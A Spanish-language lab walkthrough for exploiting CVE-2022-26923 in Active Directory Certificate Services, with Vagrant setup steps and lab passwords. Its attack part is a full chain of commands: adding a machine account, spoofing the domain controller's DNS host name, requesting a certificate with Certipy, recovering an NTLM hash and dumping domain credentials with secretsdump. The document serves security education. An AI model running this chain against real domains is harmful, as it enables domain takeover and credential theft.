
Explotación para CVE-2022-26923
CVE-2022-26923 es una vulnerabilidad en los Servicios de Certificados de Active Directory (AD CS) que permite a un atacante escalar privilegios abusando de la autenticación basada en certificados. Esta guía describe los pasos para explotar esta vulnerabilidad utilizando Impacket y Certipy.
| Máquina Virtual | Usuario | Contraseña |
|---|---|---|
| Windows Server | Administrator | !@windowsadmintest101 |
| Windows Server | testuser | $Vulnerable139 |
| Kali-Linux VM | vagrant | vagrant |
Primero, clona el repositorio que contiene los archivos necesarios:
git clone https://github.com/rayngnpc/CVE-2022-26923-rayng.git
cd CVE-2022-26923-rayng
El repositorio contiene dos carpetas, cada una con un Vagrantfile para aprovisionar máquinas virtuales. Debes instalar Vagrant en tu máquina anfitriona antes de continuar.
Descarga e instala Vagrant desde aquí. O instálalo usando PowerShell:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
Navega al directorio WindowsServer2022:
cd WindowsServer2022
vagrant up
Esto descargará y configurará la máquina virtual Windows Server 2022 en VirtualBox.
Navega al directorio Kali-LinuxVM:
cd Kali-LinuxVM
vagrant up
Dado que el exploit requiere una red NAT, configura VirtualBox de la siguiente manera:
Antes de ejecutar el comando siguiente, asegúrate de que VBoxManage esté agregado a tus variables de entorno. Si no es así, ejecuta el comando usando su ruta completa:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Si VBoxManage no es reconocido, usa:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Asegúrate de revisar ambas máquinas virtuales en VirtualBox y verifica que estén asignadas al adaptador de red NatNetwork - NatNet1.
Antes de continuar, asegúrate de que tanto Windows Server 2022 como Kali Linux VM estén encendidas.
Accede a la máquina virtual Kali Linux para iniciar el ataque.
Actualiza tu archivo /etc/hosts para mapear la IP del controlador de dominio:
sudo nano /etc/hosts
Agrega la siguiente entrada:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
Guarda y sal.
Navega al directorio CVE-26923 y activa el entorno virtual de Python:
cd ~/CVE-26923
source ~/CVE-26923/rayng/bin/activate
Usando la utilidad addcomputer de Impacket:
impacket-addcomputer -computer-name 'PCTEST1' -computer-pass 'testuser' -dc-host 10.0.2.121 -domain-netbios pchau.domain.local pchau.domain.local/testuser:'$Vulnerable139'
ssh [email protected]
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Set-ADComputer PCTEST1 -DnsHostName SERVER2022.pchau.domain.local
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Verifica los equipos del dominio:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Navega al directorio bloodyAD y usa bloodyAD.py para agregar PCTEST1 al dominio:
cd ~/CVE-26923/bloodyAD/
python3 bloodyAD.py -d pchau.domain.local -u testuser -p '$Vulnerable139' --host 10.0.2.121 set object PCTEST1$ dNSHostName -v 'SERVER2022.pchau.domain.local'
Verifica que PCTEST1 haya sido asignado al dominio:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Usa Certipy para encontrar certificados vulnerables:
certipy find -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser'
Solicita un certificado de máquina usando Certipy:
certipy req -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser' -template Machine -ca pchau-SERVER2022-CA
Autentícate usando el certificado obtenido:
certipy auth -pfx server2022.pfx
Después de ejecutar el comando certipy auth, se mostrarán dos hashes. El hash del lado derecho se usará para la autenticación NTLM.
Ejemplo de salida de hash:
aad3b435b51404eeaad3b435b51404ee:69079fd4946af567d682d61e121f29e7
Usa el hash NTLM extraído para volcar credenciales:
impacket-secretsdump '[email protected]' -hashes :69079fd4946af567d682d61e121f29e7
Esto completa la cadena de ataque completa para explotar CVE-2022-26923.